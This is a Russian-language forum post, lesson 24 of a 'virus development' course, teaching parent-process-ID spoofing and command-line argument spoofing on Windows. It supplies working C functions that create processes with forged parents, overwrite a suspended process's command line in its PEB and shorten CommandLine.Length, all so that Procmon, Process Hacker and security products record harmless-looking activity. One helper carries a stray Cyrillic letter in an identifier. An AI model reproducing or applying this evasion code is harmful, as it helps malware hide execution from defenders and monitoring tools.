Уроки Разработка вирусов-24. Изучаем технику Spoofing


X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 094
Репутация
8 213
Spoofing - В переводе подмена.)

Рассмотрим несколько вариантов техники:
Подмена номера родительского процесса (PPID)


Это техника, используемая для изменения PPID процесса, что позволяет эффективно маскировать связь между дочерним процессом и его истинным родительским процессом. Это можно сделать, изменив PPID дочернего процесса на другое значение, заставив его выглядеть так, как будто процесс был запущен другим законным процессом Windows, а не истинным родительским процессом.

Решения безопасности и защитники часто ищут необычные отношения между родителем и ребенком. Например, если Microsoft Word запускает cmd.exe, это обычно указывает на выполнение злонамеренных макросов. Если cmd.exe запускается с другим PPID, он скроет истинный родительский процесс и будет выглядеть так, как будто он был запущен другим процессом.

Вот например в статье про APC, RuntimeBroker.exe был запущен родителем EarlyBird.exe, что может использоваться решениями безопасности для обнаружения злонамеренной активности.

1696000549449.png


Список атрибутов

Список атрибутов — это структура данных, которая хранит список атрибутов, связанных с процессом или потоком. К этим атрибутам могут относиться такие сведения, как приоритет, алгоритм планирования, состояние, привязка к ЦП, адресное пространство памяти процесса или потока и многое другое. Списки атрибутов могут использоваться для эффективного хранения и извлечения информации о процессах и потоках, а также для изменения атрибутов процесса или потока в реальном времени.

Для PPID Spoofing требуется использование и изменение списка атрибутов процесса для модификации его PPID. Использование и изменение списка атрибутов процесса будут показаны в следующих разделах.

Создание процесса

Процесс подмены PPID требует создания процесса с использованием CreateProcess с установленным флагом EXTENDED_STARTUPINFO_PRESENT, который используется для дополнительного контроля созданного процесса. Этот флаг позволяет изменять некоторую информацию о процессе, такую как информацию PPID.

Документация Microsoft по EXTENDED_STARTUPINFO_PRESENT гласит следующее:

Процесс создается с расширенной информацией о запуске; параметр lpStartupInfo определяет структуру STARTUPINFOEX.

Это означает, что также необходима структура данных STARTUPINFOEXA.

Структура STARTUPINFOEXA

Структура данных STARTUPINFOEXA представлена ниже:
C:
typedef struct _STARTUPINFOEXA {
  STARTUPINFOA                 StartupInfo;
  LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList; // Список атрибутов
} STARTUPINFOEXA, *LPSTARTUPINFOEXA;

StartupInfo — это та же структура, которая использовалась в предыдущих статьях для создания нового процесса. Обратитесь к статье про APC для повторения.
Единственный элемент, который нужно установить, это cb, равный sizeof(STARTUPINFOEX).

lpAttributeList создается с использованием WinAPI InitializeProcThreadAttributeList. Это структура данных списка атрибутов, которая обсуждается подробнее в следующем разделе.

Инициализация списка атрибутов

Функция InitializeProcThreadAttributeList представлена ниже.

C:
BOOL InitializeProcThreadAttributeList(
  [out, optional] LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,
  [in]            DWORD                        dwAttributeCount,
                  DWORD                        dwFlags,         // NULL (зарезервировано)
  [in, out]       PSIZE_T                      lpSize
);

Чтобы передать список атрибутов, который изменяет родительский процесс созданного дочернего процесса, сначала создайте список атрибутов с использованием WinAPI InitializeProcThreadAttributeList. Этот API инициализирует указанный список атрибутов для создания процесса и потока. Согласно документации Microsoft, InitializeProcThreadAttributeList должен вызываться дважды:
  1. Первый вызов InitializeProcThreadAttributeList должен иметь значение NULL для параметра lpAttributeList. Этот вызов используется для определения размера списка атрибутов, который будет получен из параметра lpSize.
  2. Второй вызов InitializeProcThreadAttributeList должен указать действующий указатель для параметра lpAttributeList. Значение lpSize следует предоставить на этот раз в качестве ввода. Этот вызов инициализирует список атрибутов.
dwAttributeCount будет установлен в 1, так как нужен только один список атрибутов.

Обновление списка атрибутов

После успешной инициализации списка атрибутов используйте WinAPI UpdateProcThreadAttribute, чтобы добавить атрибуты в список. Функция представлена ниже.

C:
BOOL UpdateProcThreadAttribute(
  [in, out]       LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,   // возвращаемое значение от InitializeProcThreadAttributeList
  [in]            DWORD                        dwFlags,           // NULL (зарезервировано)
  [in]            DWORD_PTR                    Attribute,
  [in]            PVOID                        lpValue,           // указатель на значение атрибута
  [in]            SIZE_T                       cbSize,            // sizeof(lpValue)
  [out, optional] PVOID                        lpPreviousValue,   // NULL (зарезервировано)
  [in, optional]  PSIZE_T                      lpReturnSize       // NULL (зарезервировано)
);

Attribute - Этот флаг критически важен для PPID spoofing и указывает, что следует обновить в списке атрибутов. В этом случае он должен быть установлен на флаг PROC_THREAD_ATTRIBUTE_PARENT_PROCESS для обновления информации о родительском процессе.

Флаг PROC_THREAD_ATTRIBUTE_PARENT_PROCESS указывает родительский процесс потока. В общем случае родительский процесс потока — это процесс, который создал поток. Если поток создается с использованием функции CreateThread, родительский процесс — это тот, который вызвал функцию CreateThread. Если поток создается как часть нового процесса с использованием функции CreateProcess, родительский процесс — это новый процесс. Обновление родительского процесса потока также обновит родительский процесс связанного процесса.

lpValue - Дескриптор родительского процесса.

cbSize - Размер значения атрибута, указанного параметром lpValue. Это будет установлено в sizeof(HANDLE).

Логика реализации

Шаги ниже подводят итог необходимых действий для выполнения PPID spoofing.
  1. Вызывается CreateProcessA с флагом EXTENDED_STARTUPINFO_PRESENT для обеспечения дополнительного контроля над созданным процессом.
  2. Создается структура STARTUPINFOEXA, которая содержит список атрибутов, LPPROC_THREAD_ATTRIBUTE_LIST.
  3. Вызывается InitializeProcThreadAttributeList для инициализации списка атрибутов. Функцию следует вызывать дважды, первый раз определяет размер списка атрибутов, а следующий вызов осуществляет инициализацию.
  4. UpdateProcThreadAttribute используется для обновления атрибутов, устанавливая флаг PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, который позволяет пользователю указать родительский процесс потока.

Функция PPID Spoofing

CreatePPidSpoofedProcess — это функция, которая создаёт процесс с поддельным PPID.

Функция принимает 5 аргументов:

hParentProcess - дескриптор процесса, который станет родителем для только что созданного процесса.

lpProcessName - имя процесса, который необходимо создать.

dwProcessId - указатель на DWORD, который принимает PID новосозданного процесса.

hProcess - указатель на HANDLE, который принимает дескриптор только что созданного процесса.

hThread - указатель на HANDLE, который принимает дескриптор потока только что созданного процесса.

C:
BOOL CreatePPidSpoofedProcess(IN HANDLE hParentProcess, IN LPCSTR lpProcessName, OUT DWORD* dwProcessId, OUT HANDLE* hProcess, OUT HANDLE* hThread) {

    CHAR lpPath[MAX_PATH * 2];
    CHAR WnDr[MAX_PATH];

    SIZE_T sThreadAttList = NULL;
    PPROC_THREAD_ATTRIBUTE_LIST pThreadAttList = NULL;

    STARTUPINFOEXA SiEx = { 0 };
    PROCESS_INFORMATION Pi = { 0 };

    RtlSecureZeroMemory(&SiEx, sizeof(STARTUPINFOEXA));
    RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));

    // Установка размера структуры
    SiEx.StartupInfo.cb = sizeof(STARTUPINFOEXA);

    if (!GetEnvironmentVariableA("WINDIR", WnDr, MAX_PATH)) {
        printf("[!] GetEnvironmentVariableA Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    sprintf(lpPath, "%s\\System32\\%s", WnDr, lpProcessName);

    // Это завершится ошибкой ERROR_INSUFFICIENT_BUFFER, как и ожидалось
    InitializeProcThreadAttributeList(NULL, 1, NULL, &sThreadAttList);

    // Выделение достаточного объема памяти
    pThreadAttList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sThreadAttList);
    if (pThreadAttList == NULL) {
        printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    // Повторный вызов InitializeProcThreadAttributeList, но передача правильных параметров
    if (!InitializeProcThreadAttributeList(pThreadAttList, 1, NULL, &sThreadAttList)) {
        printf("[!] InitializeProcThreadAttributeList Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    if (!UpdateProcThreadAttribute(pThreadAttList, NULL, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParentProcess, sizeof(HANDLE), NULL, NULL)) {
        printf("[!] UpdateProcThreadAttribute Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    // Установка элемента LPPROC_THREAD_ATTRIBUTE_LIST в SiEx равным тому, что было создано с использованием UpdateProcThreadAttribute - то есть родительский процесс
    SiEx.lpAttributeList = pThreadAttList;

    if (!CreateProcessA(NULL, lpPath, NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &SiEx.StartupInfo, &Pi)) {
        printf("[!] CreateProcessA Failed with Error : %d \n", GetLastError());
        return FALSE;
    }

    *dwProcessId = Pi.dwProcessId;
    *hProcess = Pi.hProcess;
    *hThread = Pi.hThread;

    // Очистка
    DeleteProcThreadAttributeList(pThreadAttList);
    CloseHandle(hParentProcess);

    if (*dwProcessId != NULL && *hProcess != NULL && *hThread != NULL)
        return TRUE;

    return FALSE;
}

Демо

Создание дочернего процесса, RuntimeBroker.exe, с родителем svchost.exe, который имеет PID 21956. Обратите внимание, что этот процесс svchost.exe выполняется с обычными привилегиями.

1696001379692.png


PPID Spoofing успешно выполнен. Процесс RuntimeBroker.exe выглядит так, как будто он был запущен svchost.exe.

1696001727928.png


Демо 2 - Обновление текущего каталога

Заметьте, как в предыдущем демо значение "Current Directory" указывает на каталог исполняемого файла PPidSpoofing.exe.

1696001894800.png


Это может легко стать индикатором заражения, и решения безопасности или защитники могут быстро пометить эту аномалию. Чтобы исправить это, просто установите параметр lpCurrentDirectory в CreateProcess WinAPI на менее подозрительный каталог, например, "C:\Windows\System32".

1696001924865.png



Давайте теперь ещё рассмотрим одну интересную технику.)

Подмена аргумента процесса
- это техника, используемая для скрытия командной строки нового процесса с целью выполнения команд без их раскрытия службам регистрации, таким как Procmon.

На изображении ниже показана команда powershell.exe -c calc.exe, которая регистрируется в Procmon. Цель этого раздела - выполнить команду powershell.exe -c calc.exe, чтобы она не была успешно зарегистрирована в Procmon.

1696002116841.png



Обзор PEB (Блок параметров выполнения процесса)

Первый шаг к выполнению обмана аргумента - понять, где хранятся аргументы внутри процесса. Напомним структуру PEB, которая была объяснена в начале курса, она содержит информацию о процессе. Более конкретно, структура RTL_USER_PROCESS_PARAMETERS внутри PEB содержит член CommandLine, который содержит аргументы командной строки. Структура RTL_USER_PROCESS_PARAMETERS показана ниже.

C:
typedef struct _RTL_USER_PROCESS_PARAMETERS {
  BYTE           Reserved1[16];
  PVOID          Reserved2[10];
  UNICODE_STRING ImagePathName;
  UNICODE_STRING CommandLine;
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;

CommandLine определен как UNICODE_STRING.

Структура UNICODE_STRING

Структура UNICODE_STRING показана ниже.

C:
typedef struct _UNICODE_STRING {
  USHORT Length;
  USHORT MaximumLength;
  PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

Элемент Buffer будет содержать содержимое аргументов командной строки. Имея это в виду, можно получить доступ к аргументам командной строки, используя PEB->ProcessParameters.CommandLine.Buffer как строку широких символов.

Как выполнить подмену аргументов процесса
Для выполнения подмена аргументов командной строки сначала необходимо создать целевой процесс в приостановленном состоянии, передавая фиктивные аргументы, которые не считаются подозрительными. Прежде чем возобновить процесс, строку PEB->ProcessParameters.CommandLine.Buffer необходимо заменить на желаемую строку-полезную нагрузку, которая заставит службы регистрации регистрировать фиктивные аргументы, а не фактические аргументы командной строки, которые будут выполнены. Для выполнения этой процедуры необходимо выполнить следующие шаги:
  1. Создать целевой процесс в приостановленном состоянии.
  2. Получить удаленный адрес PEB созданного процесса.
  3. Прочитать удаленную структуру PEB из созданного процесса.
  4. Прочитать удаленную структуру PEB->ProcessParameters из созданного процесса.
  5. Заменить строку ProcessParameters.CommandLine.Buffer и перезаписать ее полезным полезным данными для выполнения.
  6. Возобновить процесс.
Длина аргумента полезной нагрузки, записываемого в Peb->ProcessParameters.CommandLine.Buffer во время выполнения, должна быть меньше или равна длине созданного фиктивного аргумента при создании приостановленного процесса. Если реальный аргумент больше, он может перезаписать байты за пределами фиктивного аргумента, что может привести к сбою процесса. Для избежания этого всегда следует убедиться, что фиктивный аргумент больше, чем аргумент, который будет выполнен.

Получение удаленного адреса PEB

Для получения адреса PEB удаленного процесса необходимо использовать NtQueryInformationProcess с флагом ProcessBasicInformation.

Как указано в документации, при использовании флага ProcessBasicInformation NtQueryInformationProcess вернет структуру PROCESS_BASIC_INFORMATION, которая выглядит следующим образом:

C:
typedef struct _PROCESS_BASIC_INFORMATION {
    NTSTATUS    ExitStatus;
    PPEB        PebBaseAddress;                // Указывает на структуру PEB.
    ULONG_PTR   AffinityMask;
    KPRIORITY   BasePriority;
    ULONG_PTR   UniqueProcessId;
    ULONG_PTR   InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION;

Обратите внимание, что поскольку NtQueryInformationProcess - это системный вызов, его нужно вызывать с использованием GetModuleHandle и GetProcAddress, как показано в предыдущих статьях.

Чтение удаленной структуры PEB

После получения адреса PEB для удаленного процесса можно прочитать структуру PEB с помощью функции WinAPI ReadProcessMemory, как показано ниже.

C:
BOOL ReadProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPCVOID lpBaseAddress,
  [out] LPVOID  lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesRead
);

ReadProcessMemory используется для чтения данных из указанного адреса, указанного в параметре lpBaseAddress. Функцию нужно вызвать дважды:
  1. Первый вызов используется для чтения структуры PEB, передавая адрес PEB, полученный из вывода NtQueryInformationProcess, в параметр lpBaseAddress.
  2. Затем он вызывается во второй раз для чтения структуры RTL_USER_PROCESS_PARAMETERS, передавая ее адрес в параметр lpBaseAddress. Обратите внимание, что структура RTL_USER_PROCESS_PARAMETERS находится внутри структуры PEB при первом вызове. Помните, что эта структура содержит член CommandLine, который необходим для выполнения подмены аргументов.
Размер RTL_USER_PROCESS_PARAMETERS

При чтении структуры RTL_USER_PROCESS_PARAMETERS необходимо читать больше байт, чем sizeof(RTL_USER_PROCESS_PARAMETERS). Это связано с тем, что реальный размер этой структуры зависит от размера фиктивного аргумента. Для обеспечения чтения всей структуры дополнительные байты должны быть прочитаны. Это делается в образце кода, где читается дополнительных 225 байтов.

Патчинг CommandLine.Buffer

Получив структуру RTL_USER_PROCESS_PARAMETERS, можно получить доступ и патчить CommandLine.Buffer. Для этого будет использоваться функция WinAPI WriteProcessMemory, как показано ниже.

C:
BOOL WriteProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPVOID  lpBaseAddress,          // Что перезаписывается (CommandLine.Buffer)
  [in]  LPCVOID lpBuffer,               // Что записывается (новый аргумент процесса)
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesWritten
);
  • pBaseAddress должен быть установлен на то, что перезаписывается, что в данном случае является CommandLine.Buffer.
  • lpBuffer - это данные, которые будут перезаписывать фиктивные аргументы. Он должен быть строкой широких символов для замены CommandLine.Buffer, который также является строкой широких символов.
  • Параметр nSize - это размер буфера для записи в байтах. Он должен быть равен длине строки, которая записывается, умноженной на размер WCHAR плюс 1 (для нулевого символа).
lstrlenW(NewArgument) * sizeof(WCHAR) + 1 Вспомогательные функции

Код в этой статье использует две вспомогательные функции, которые читают и записывают данные из и в целевой процесс.

Функция ReadFromTargetProcess

Вспомогательная функция ReadFromTargetProcess вернет выделенную кучу, содержащую буфер, прочитанный из целевого процесса. Сначала она читает структуру PEB, а затем использует ее для получения структуры RTL_USER_PROCESS_PARAMETERS. Функция ReadFromTargetProcess показана ниже.

C:
BOOL ReadFromTargetProcess(IN HANDLE hProcess, IN PVOID pAddress, OUT PVOID* ppReadBuffer, IN DWORD dwBufferSize) {

    SIZE_T    sNmbrOfBytesRead    = NULL;

    *ppReadBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwBufferSize);

    if (!ReadProcessMemory(hProcess, pAddress, *ppReadBuffer, dwBufferSize, &sNmbrOfBytesRead) || sNmbrOfBytesRead != dwBufferSize){
        printf("[!] ReadProcessMemory Failed With Error : %d \n", GetLastError());
        printf("[i] Bytes Read : %d Of %d \n", sNmbrOfBytesRead, dwBufferSize);
        return FALSE;
    }

    return TRUE;
}

Функция WriteToTargetProcess

Вспомогательная функция WriteToTargetProcess передает соответствующие параметры функции WriteProcessMemory и проверяет вывод. Функция WriteToTargetProcess показана ниже.

C:
BOOL WriteToTargetProcess(IN HANDLE hProcess, IN PVOID pAddressToWriteTo, IN PVOID pBuffer, IN DWORD dwBufferSize) {

    SIZE_T sNmbrOfBytesWritten    = NULL;

    if (!WriteProcessMemory(hProcess, pAddressToWriteTo, pBuffer, dwBufferSize, &sNmbrOfBytesWritten) || sNmбрOfBytesWritten != dwBufferSize) {
        printf("[!] WriteProcessMemory Failed With Error : %d \n", GetLastError());
        printf("[i] Bytes Written : %d Of %d \n", sNmbrOfBytesWritten, dwBufferSize);
        return FALSE;
    }

    return TRUE;
}

Функция подмены аргумента процесса

CreateArgSpoofedProcess
- это функция, выполняющая подмен аргумента командной строки во вновь созданном процессе.

Функция требует 5 аргументов:

szStartupArgs - Фиктивные аргументы. Они должны быть безвредными.

szRealArgs - Реальные аргументы для выполнения.

dwProcessId - Указатель на DWORD, который получает PID.

hProcess - Указатель на HANDLE, который получает дескриптор процесса.

hThread - Указатель на DWORD, который получает дескриптор потока процесса.

C:
BOOL CreateArgSpoofedProcess(IN LPWSTR szStartupArgs, IN LPWSTR szRealArgs, OUT DWORD* dwProcessId, OUT HANDLE* hProcess, OUT HANDLE* hThread) {

    NTSTATUS                      STATUS   = NULL;

    WCHAR                         szProcess [MAX_PATH];

    STARTUPINFOW                  Si       = { 0 };
    PROCESS_INFORMATION           Pi       = { 0 };

    PROCESS_BASIC_INFORMATION     PBI      = { 0 };
    ULONG                         uRetern  = NULL;

    PPEB                          pPeb     = NULL;
    PRTL_USER_PROCESS_PARAMETERS  pParms   = NULL;

    RtlSecureZeroMemory(&Si, sizeof(STARTUPINFOW));
    RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));

    Si.cb = sizeof(STARTUPINFOW);

    // Получение адреса функции NtQueryInformationProcess
    fnNtQueryInformationProcess pNtQueryInformationProcess = (fnNtQueryInformationProcess)GetProcAddress(GetModuleHandleW(L"NTDLL"), "NtQueryInformationProcess");
    if (pNtQueryInformationProcess == NULL)
        return FALSE;

    lstrcpyW(szProcess, szStartupArgs);

    if (!CreateProcessW(
        NULL,
        szProcess,
        NULL,
        NULL,
        FALSE,
        CREATE_SUSPENDED | CREATE_NO_WINDOW,      // создание процесса приостановленным и без окна
        NULL,
        L"C:\\Windows\\System32\\",               // можно использовать GetEnvironmentVariableW для получения этого программно
        &Si,
        &Pi)) {
        printf("\t[!] CreateProcessA Failed with Error : %d \n", GetLastError());
        return FALSE;
    }

    // Получение структуры PROCESS_BASIC_INFORMATION удаленного процесса, которая содержит адрес PEB
    if ((STATUS = pNtQueryInformationProcess(Pi.hProcess, ProcessBasicInformation, &PBI, sizeof(PROCESS_BASIC_INFORMATION), &uRetern)) != 0) {
        printf("\t[!] NtQueryInformationProcess Failed With Error : 0x%0.8X \n", STATUS);
        return FALSE;
    }

    // Чтение структуры PEB из ее базового адреса в удаленном процессе
    if (!ReadFromTargetProcess(Pi.hProcess, PBI.PebBaseAddress, &pPeb, sizeof(PEB))) {
        printf("\t[!] Failed To Read Target's Process Peb \n");
        return FALSE;
    }

    // Чтение структуры RTL_USER_PROCESS_PARAMETERS из PEB удаленного процесса
    // Читается дополнительных 0xFF байтов, чтобы убедиться, что мы достигли указателя CommandLine.Buffer
    // 0xFF - это 255, но может быть любым, на ваш выбор
    if (!ReadFromTargetProcess(Pi.hProcess, pPeb->ProcessParameters, &pParms, sizeof(RTL_USER_PROCESS_PARAMETERS) + 0xFF)) {
        printf("\t[!] Failed To Read Target's Process ProcessParameters \n");
        return FALSE;
    }

    // Запись реальных аргументов в процесс
    if (!WriteToTargetProcess(Pi.hProcess, (PVOID)pParms->CommandLine.Buffer, (PVOID)szRealArgs, (DWORD)(lstrlenW(szRealArgs) * sizeof(WCHAR) + 1))) {
        printf("\t[!] Failed To Write The Real Parameters\n");
        return FALSE;
    }

    // Очистка
    HeapFree(GetProcessHeap(), NULL, pPeb);
    HeapFree(GetProcessHeap(), NULL, pParms);

    // Возобновление процесса с новыми параметрами
    ResumeThread(Pi.hThread);

    // Сохранение выходных параметров
    *dwProcessId     = Pi.dwProcessId;
    *hProcess        = Pi.hProcess;
    *hThread         = Pi.hThread;

    // Проверка, все ли параметры действительны
    if (*dwProcessId != NULL && *hProcess != NULL && *hThread != NULL)
        return TRUE;

    return FALSE;
}

Демонстрация

powershell.exe Totally Legit Argument - это фиктивный аргумент, который будет зарегистрирован, в то время как powershell.exe -c calc.exe - это полезная нагрузка, которая будет выполнена.

1696003163180.png


Отлично Procmon был обманут, и он зарегистрировал фиктивные аргументы командной строки. Однако эта же техника не работает так хорошо с некоторыми инструментами, такими как Process Hacker. Ниже показан результат подмены аргумента в Process Hacker.

1696003603137.png


Легитимные аргументы отображаются Process Hacker, вместе с фрагментом фиктивного аргумента. В этом разделе мы проанализируем, почему это происходит, и предоставим решение.

Анализ проблемы

Для лучшего понимания того, почему отображаются легитимные аргументы, фиктивный аргумент будет установлен в powershell.exe AAAAAAA....

1696003662495.png


Проверка Process Hacker снова показывает, что регистрируются как легитимые, так и фиктивные аргументы.

1696003679539.png


Использование PEB->ProcessParameters.CommandLine.Buffer для перезаписи полезной нагрузки может быть обнаружено Process Hacker и другими инструментами, такими как Process Explorer, потому что эти инструменты используют NtQueryInformationProcess для чтения аргументов командной строки процесса во время выполнения. Поскольку это происходит во время выполнения, они могут видеть, что в данный момент находится в PEB->ProcessParameters.CommandLine.Buffer.

Решение


Эти инструменты считывают CommandLine.Buffer до длины, указанной в CommandLine.Length. Они не полагаются на то, что CommandLine.Buffer завершается нулевым символом, потому что Microsoft утверждает в своей документации, что UNICODE_STRING.Buffer может не быть завершен нулевым символом.

Короче говоря, эти инструменты ограничивают количество байт, считываемых из CommandLine.Buffer, равным CommandLine.Length, чтобы избежать чтения дополнительных ненужных байт в случае, если CommandLine.Buffer не завершен нулевым символом.

Возможно обмануть эти инструменты, установив CommandLine.Length меньше размера буфера. Это позволяет контролировать, сколько полезной нагрузки внутри CommandLine.Buffer будет отображено. Это можно сделать, переписав адрес CommandLine.Length в удаленном процессе, передав желаемый размер буфера для чтения внешними инструментами.

Патчинг CommandLine.Length

Следующий фрагмент кода патчит PEB->ProcessParameters.CommandLine.Length, чтобы ограничить то, что может читать Process Hacker только для powershell.exe. Сначала аргумент подмены устанавливается в "Totally Legit Argument", а затем длина патчится, чтобы быть размером sizeof(L"powershell.exe").

C:
DWORD dwNewLen = sizeof(L"powershell.exe");

if (!WriteToTargetProcess(Pi.hProcess, ((PBYTE)pPeb->ProcessParameters + offsetof(RTL_USER_PROCESS_PARAMETERS, CommandLine.Length)), (PVOID)&dwNewLen, sizeof(DWORD))){
  return FALSE;
}

Демонстрация

Просмотр Process Hacker.

1696004033005.png


Procmon view.

1696004059862.png
 
Последнее редактирование:
Автор темы Похожие темы Форум Ответы Дата
X-Shar Введение в разработку вредоносных программ 1
X-Shar Введение в разработку вредоносных программ 6
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 5
X-Shar Введение в разработку вредоносных программ 1
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 3
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 0
Похожие темы
Уроки Разработка вирусов-35.Обход EDRs.Последняя тема цикла
Уроки Разработка вирусов-34.Обход Windows defender
Уроки Разработка вирусов-33.Уменьшение вероятности детекта зверька
Уроки Разработка вирусов-32.Открываем врата ада
Уроки Разработка вирусов-31.Обход виртуальных машин
Уроки Разработка вирусов-30.Черпаем силы в антиотладке
Уроки Разработка вирусов-29. Предельная техника-2. Практика. Реализуем техники инъекции через сисколы
Уроки Разработка вирусов-28. Предельная техника. Разборка с сисколами
Уроки Разработка вирусов-27.Кунгфу-2.Изучаем API Hooking
Уроки Разработка вирусов-26. Изучаем кунгфу-1. Скрытие таблицы импорта
Уроки Разработка вирусов-25. Скрытие строк
Уроки Разработка вирусов-23. Контроль выполнения полезной нагрузки
Уроки Разработка вирусов-22.Изучаем технику Stomping Injection
Уроки Разработка вирусов-21.Инъекция отображаемой памяти
Уроки Разработка вирусов-20.Вызов кода через функции обратного вызова
Уроки Разработка вирусов-19.Изучаем технику APC Injection
Уроки Разработка малвари-18.Определение PID нужного процесса, или перечисления процессов
Уроки Разработка вирусов-17.Изучаем технику Thread Hijacking
Уроки Разработка вирусов-16.Разборка с цифровой подписью зверька
Уроки Разработка вирусов-15. Прячем Payload в реестре
Верх Низ